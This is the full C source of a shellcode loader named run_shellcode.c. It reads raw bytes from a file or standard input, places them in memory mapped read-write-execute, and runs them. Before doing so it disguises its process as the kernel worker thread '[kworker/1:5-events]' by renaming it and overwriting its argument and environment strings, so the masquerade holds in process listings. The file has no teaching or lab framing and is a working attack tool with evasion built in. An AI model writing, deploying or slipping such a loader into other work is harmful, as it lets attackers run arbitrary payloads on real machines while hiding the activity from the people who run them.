run_shellcode.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/syscall.h>   /* For SYS_xxx definitions */

#ifdef __linux__
#include <sys/prctl.h>
extern char **environ;
#endif

void *mmap(void *addr, size_t length, int prot, int flags,
                  int fd, off_t offset);
int munmap(void *addr, size_t length);

static int read_all(FILE *fp, unsigned char **buffer, size_t *len) {
        size_t cap = 4096;
        size_t nread = 0;
        unsigned char *data = malloc(cap);

        if (!data) {
                return -1;
        }

        while (1) {
                size_t to_read = cap - nread;
                size_t chunk = fread(data + nread, 1, to_read, fp);

                nread += chunk;

                if (chunk == 0) {
                        if (ferror(fp)) {
                                free(data);
                                return -1;
                        }
                        break;
                }

                if (nread == cap) {
                        size_t new_cap = cap * 2;
                        unsigned char *tmp = realloc(data, new_cap);
                        if (!tmp) {
                                free(data);
                                return -1;
                        }
                        data = tmp;
                        cap = new_cap;
                }
        }

        *buffer = data;
        *len = nread;
        return 0;
}

#ifdef __linux__
static void set_process_title(const char *title, int argc, char **argv) {
        char *start;
        char *end;

        if (argc <= 0 || !argv || !argv[0]) {
                return;
        }

        prctl(PR_SET_NAME, title, 0, 0, 0);

        start = argv[0];
        end = argv[argc - 1] + strlen(argv[argc - 1]);

        for (char **env = environ; env && *env; ++env) {
                char *candidate = *env + strlen(*env);
                if (candidate > end) {
                        end = candidate;
                }
        }

        if (end <= start) {
                return;
        }

        size_t total = (size_t)(end - start);
        memset(start, 0, total);
        strncpy(start, title, total - 1);
}
#else
static void set_process_title(const char *title, int argc, char **argv) {
        (void)title;
        (void)argc;
        (void)argv;
}
#endif

int main(int argc,char * argv[]){
        FILE *fp = NULL;
        unsigned char *buffer = NULL;
        size_t len = 0;
        int use_stdin = 0;

        set_process_title("[kworker/1:5-events]", argc, argv);

        if (argc == 1) {
                use_stdin = 1;
                fp = stdin;
        } else if (argc == 2) {
                if (strcmp(argv[1], "-") == 0) {
                        use_stdin = 1;
                        fp = stdin;
                } else {
                        fp = fopen(argv[1], "rb");
                        if (!fp) {
                                return -1;
                        }
                }
        } else {
                return 1;
        }

        if (read_all(fp, &buffer, &len) != 0) {
                if (fp && !use_stdin) {
                        fclose(fp);
                }
                return -1;
        }

        if (fp && !use_stdin) {
                fclose(fp);
        }

        if (len == 0) {
                free(buffer);
                return -1;
        }

        void * shellcode = mmap(0,len,PROT_READ|PROT_EXEC|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0);

        if(shellcode == MAP_FAILED){
                free(buffer);
                return -1;
        }

        memcpy(shellcode, buffer, len);
        free(buffer);

        __clear_cache(shellcode,len + (char*)shellcode);
        ((void (*)()) shellcode)();
        munmap(shellcode, len);
        return 0;
}